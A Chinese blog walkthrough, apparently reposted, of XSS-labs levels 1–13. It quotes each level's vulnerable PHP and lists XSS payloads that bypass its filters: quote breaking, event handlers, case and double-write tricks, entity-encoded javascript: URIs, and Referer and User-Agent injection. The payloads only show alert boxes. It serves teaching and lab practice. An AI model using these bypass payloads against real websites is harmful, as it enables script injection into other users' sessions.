【安全】Xsslabs(1~13)基于白盒测试浅析

这篇具有很好参考价值的文章主要介绍了【安全】Xsslabs(1~13)基于白盒测试浅析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

环境

关卡

level 1 

level 2 

level 3 

level 4 

level 5 

level 6

level 7

level 8  

扩展 

 level 9

level 10

level 11 

 level 12

level 13 

 总结


环境

        PHP:php7.3.4nts 

        中间件:Nginx1.15.11

        工具:Hackbar

关卡

level 1 

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

代码审计:

  Dom反射型,url -> web

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
//可以看到没有对输入有任何过滤
//意思就是我们可以任意操控$str的内容,那就可以用"把name的传的值先闭合了

//如果name的值传的是1"<script>alert</script>
//那解析后就会变成👇
echo "<h2 align=center>欢迎用户"1"<script>alert</script>"</h2>";

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 byPass:考查 -- 闭合双引号

"<script>alert(xss)</script>
"<script>confirm('xss')</script>
"<script>alert(String.fromCharCode(65))</script>
"<a href="javascript:alert('xss')">aaa</a>
"<img src=1 onerror="alert('xss')">
"<svg onload=alert(1)>
"<video src=1 onerror=alert(1)>
"<button onfocus=alert(1) autofocus>
"<body onload=alert(1)>
"<iframe src="javascript:alert('1')"></iframe> (这个是成功的,只是不算过关而已)
"<iframe onload=alert(1)></iframe>
"<input onfocus=alert(1) autofocus>
(挑着没被过滤掉的用就行,后边也有能用着的)

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端  

level 2 

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         初步观察有点像普通反射型xss(url -> 服务器 -> web)

代码审计:

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
(发现这玩意两头通,如果走下面的input就是普通反射,走url就是dom反射)

注意:.htmlspecialchars($str).是把str中的" < > &都变成html实体了,
      所以不会解析出来,所以那里是走不通的 

byPass:考查 -- 闭合input标签 ">

"><img src=1 onerror="alert('xss')
"><script>alert(1)</script>
" onmouseover="alert(1) (也可也直接在input里玩)
//记着str的前后内容"'str'">
...

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 

level 3 

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端 

        和2的样子差不多,直接试试2的bypass能过不 

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         显然,没闭合上

代码审计:

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>

        分析 :这里很贴心的营造了能过关的环境,htmlspecialchars转换默认是不会转换 ' 的,所以只需要 ' 闭合value后,在input中使用on触发事件即可

        尝试  ' οnclick=alert(1)

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         后边还差个单引号

bypass:考查 -- 在默认情况下绕过htmlspecialchars

' onclick=alert(1)'
' onmouseover='alert(1)
...

 

level 4 

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端 

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        传个双引号发现前端变这样了,决定试一下" οnclick="alert(1) ..过了

代码审计:

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword  value="'.$str3.'">

   分析:只是把左右尖括号给替换掉了,不用标签就行,直接on触发事件

byPass:

" onclick="alert(1)
on...

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 

level 5 

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         感觉level4那些on事件能行,试上一试

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         on被替换成o_n了

代码审计:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
<input name=keyword  value="'.$str3.'">

   分析:先是把传的值变小写了,然后把<script>和on都给屏蔽了,level1里边一堆bypass都没用到<script>直接抓来用,记得闭合value和input标签

byPass:

"<a href="javascript:alert('xss')">aaa</a>
不用on和<script>...

 

level 6

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        传个双引号又把value闭合了,估计又过滤了一些输入

         试一试大小写绕过没," oNclick="alert(1)

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        显然这个题应该考的就是大小写

代码审计 :

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword  value="'.$str6.'">

   分析:没把输入过滤大小写

 byPass:考查 -- 大小写绕过

" oNclick="alert(1)
大小写都没绕随便pass...

 

level 7

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端 

         反手试一下传个"

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        说明还是在过滤上下功夫 

 代码审计:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">

   分析:上面的双引号出不来闭合不上,只能从下边想办法,做了小写处理大小写绕过也不考虑了,之后过滤的东西太多,把我知道的差不多都过滤了, 但他的过滤是替换成空,直接双写拿下

byPass:考查 -- 双写绕过

" oonnclick="alert(1)
只要双写,bypass就多了 <scrscriptipt>等等,过滤后会去中间留两边

 

level 8  

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        多了个新东西 

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         随便试一下 " οnclick=alert(1)

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        全被换成实体字符了,既然如此看能不能用关于a标签的绕过把友情链接那绕过了

         实验  " href="javascript:alert('xss')

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

老实代码审计:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword  value="'.htmlspecialchars($str).'">
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

扩展 

HTML字符实体:&lt;&gt;

HTML字符编码:&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;

URL编码:%61%6c%65%72%74%28%32%29

Unicode编码:\u0061\u006c\u0065\u0072\u0074

例子1:<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:

%61%6c%65%72%74%28%32%29">

解析过程:丢给html解析->检测到后边有url编码,丢给url解析器解析->发现有javascript:然后丢给js模块解析,js能把unicode(只能字符串和标识符 _ 字母 数字 )解析了

例子2:<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

<script>只能容纳文本所以会直接丢给js处理,()不在字符串和标识符范围内,所以必须直接写不能用unicode编码,这里有意思的是,解析完按道理说是alert(12)但是12用了两个编码那就会被认成字符串,既然是字符串就要''所以这里也会解析失败

正确:<script>\u0061\u006c\u0065\u0072\u0074( '\u0031\u0032)</script>

byPass:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)
解析出来是javascript:alert(1)

 

 level 9

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        先把level8的来试一试 

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         看来是对输入进行了判断

代码审计:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword  value="'.htmlspecialchars($str).'">
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        试一下把alert(1) 换成 alert( 'http://' )

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         成功了

byPass:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')

还可以把后边的alert换成url编码
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28'http://'%29

 

level 10

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         在前端代码里找到了点好玩的东西(下面的隐藏属性)

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         传参看看能传进去不

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        发现t_sort居然传进去了,直接动手换type

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        现在t_sort的value到type的空间已经可以任意施为了 

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 byPass:

keyword=1&t_sort=" onclick=alert(1) type="text"

 顺便看看代码:很明显能传俩参数

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name="t_sort"  value="'.$str33.'" type="hidden">

 

level 11 

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         有点像level 10再看看

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        好家伙,多了个t_ref看着是个url从名字上来看是referer 

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         传着看看

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        t_ref没传进去,显然不是参数,t_sort传进去了?!莫非...

        ?keyword=1&t_sort=" type="text" 玩进去试试,没生效,看来是被过滤成文本了

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

代码审计:

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

  分析:t_sort的值用htmlspecialchars过滤了,逃不出去只能从t_ref动手,t_ref的值是referer所以传来试试

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 byPass:

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 

 level 12

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         这属性有点眼熟

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         实验一下【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        通了,这算是一个题考两次了 

顺便看代码:

$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ua"  value="'.$str33.'" type="hidden">

 

level 13 

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        看着有点眼熟,cookies试一试

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

         错了,应该没这么简单,需要有正确的cookies

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

        这是现在的cookies

 byPass:

【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 【安全】Xsslabs(1~13)基于白盒测试浅析,网络,安全,xss,前端

 总结

        这些xss都较为简单,包括了一些解析顺序,编码方式,请求头的一丢丢知识,但都只是selfxss,不堪大用,不过作为xss入门还是很好的。文章来源地址https://www.toymoban.com/news/detail-542915.html

到了这里,关于【安全】Xsslabs(1~13)基于白盒测试浅析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web安全测试(五):XSS攻击—存储式XSS漏洞

    结合内部资料,与安全渗透部门同事合力整理的安全测试相关资料教程,全方位涵盖电商、支付、金融、网络、数据库等领域的安全测试,覆盖Web、APP、中间件、内外网、Linux、Windows多个平台。学完后一定能成为安全大佬! 全部文章请访问专栏: 《全栈安全测试教程(0基础

    2024年02月10日
    浏览(70)
  • 安全测试之xss漏洞的检测与防御

    整理了一些软件测试方面的资料、面试资料(接口自动化、web自动化、app自动化、性能安全、测试开发等),有需要的小伙伴可以文末加入我的学习交流qun,无套路自行领取~  最后感谢每一个认真阅读我文章的人,看着粉丝一路的上涨和关注,礼尚往来总是要有的,虽然不是

    2024年02月11日
    浏览(50)
  • 【网络安全】Xss漏洞

    定义: XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生

    2023年04月20日
    浏览(43)
  • 【安全测试】Web应用安全之XSS跨站脚本攻击漏洞

    目录 前言 XSS概念及分类 反射型XSS(非持久性XSS) 存储型XSS(持久型XSS) 如何测试XSS漏洞 方法一: 方法二: XSS漏洞修复 原则:不相信客户输入的数据 处理建议 资料获取方法 以前都只是在各类文档中见到过XSS,也进行过相关的学习,但是都是一知半解,过了一段时间就忘了。

    2024年02月14日
    浏览(51)
  • 网络安全之XSS漏洞

    Cross-Site Scripting(跨站脚本攻击)简称XSS,是一种 代码注入攻击 。XSS 攻击通常指的是利用网页的漏洞,攻击者通过巧妙的方法注入 XSS 代码到网页,因为浏览器无法分辨哪些脚本是可信的,导致 XSS 脚本被执行。XSS 脚本通常能够窃取用户数据并发送到攻击者的网站,或者冒充

    2024年02月06日
    浏览(44)
  • 安全测试之XSS - 攻擊與防禦手冊

    跨站腳本為基於安全性區域等級 所發展出的瀏覽器攻擊手法。 該攻擊形式為:允許內容(腳本代碼) 於非特權區域中,執行特權動作 – 也就 是說,可在用戶端執行任意代碼,使得 權限得以提升。 首先利用 XSS 弱點讓代碼在特權區域中執行。 完成攻擊之後,由於 ActiveX 元件的

    2024年02月11日
    浏览(23)
  • 【网络安全】跨站脚本攻击(XSS)

    专栏文章索引:网络安全 有问题可私聊:QQ:3375119339 目录 一、XSS简介 二、XSS漏洞危害 三、XSS漏洞类型 1.反射型XSS 2.存储型XSS 3.DOM型XSS 四、XSS漏洞防御 XSS(Cross-Site Scripting) XSS 被称为跨站脚本攻击,由于和CSS重名,所以改为XSS。 XSS 主要使用 javascript , javascript 可以非常灵

    2024年04月28日
    浏览(52)
  • 【网络安全】跨站脚本(xss)攻击

    跨站点脚本(也称为 XSS)是一种 Web 安全漏洞,允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者绕过同源策略,该策略旨在将不同的网站彼此隔离。跨站点脚本漏洞通常允许攻击者伪装成受害者用户,执行用户能够执行的任何操作,并访问用户的任何数据。

    2024年02月11日
    浏览(38)
  • 网络安全——XSS跨站脚本攻击

    一、XSS概述 1、XSS被称为跨站脚本攻击,由于和CSS重名,所以改为XSS; 2、XSS主要基于JavaScript语言完成恶意的攻击行为,因为JavaScript可以非常灵活的操作html、CSS和浏览器 3、原理: XSS就是通过利用网页开发时留下的漏洞(由于Web应用程序对用户的输入过滤不足),巧妙的将恶

    2024年02月16日
    浏览(41)
  • 白帽黑客与网络安全工具浅析

    “黑客”一词是英文Hacker的音译。这个词早在莎士比亚时代就已存在了,但是人们第一次真正理解它时,却是在计算机问世之后。根据《牛津英语词典》解释,“hack”一词最早的意思是劈砍,而这个词意很容易使人联想到计算机遭到别人的非法入侵。因此《牛津英语词典》中

    2024年02月12日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包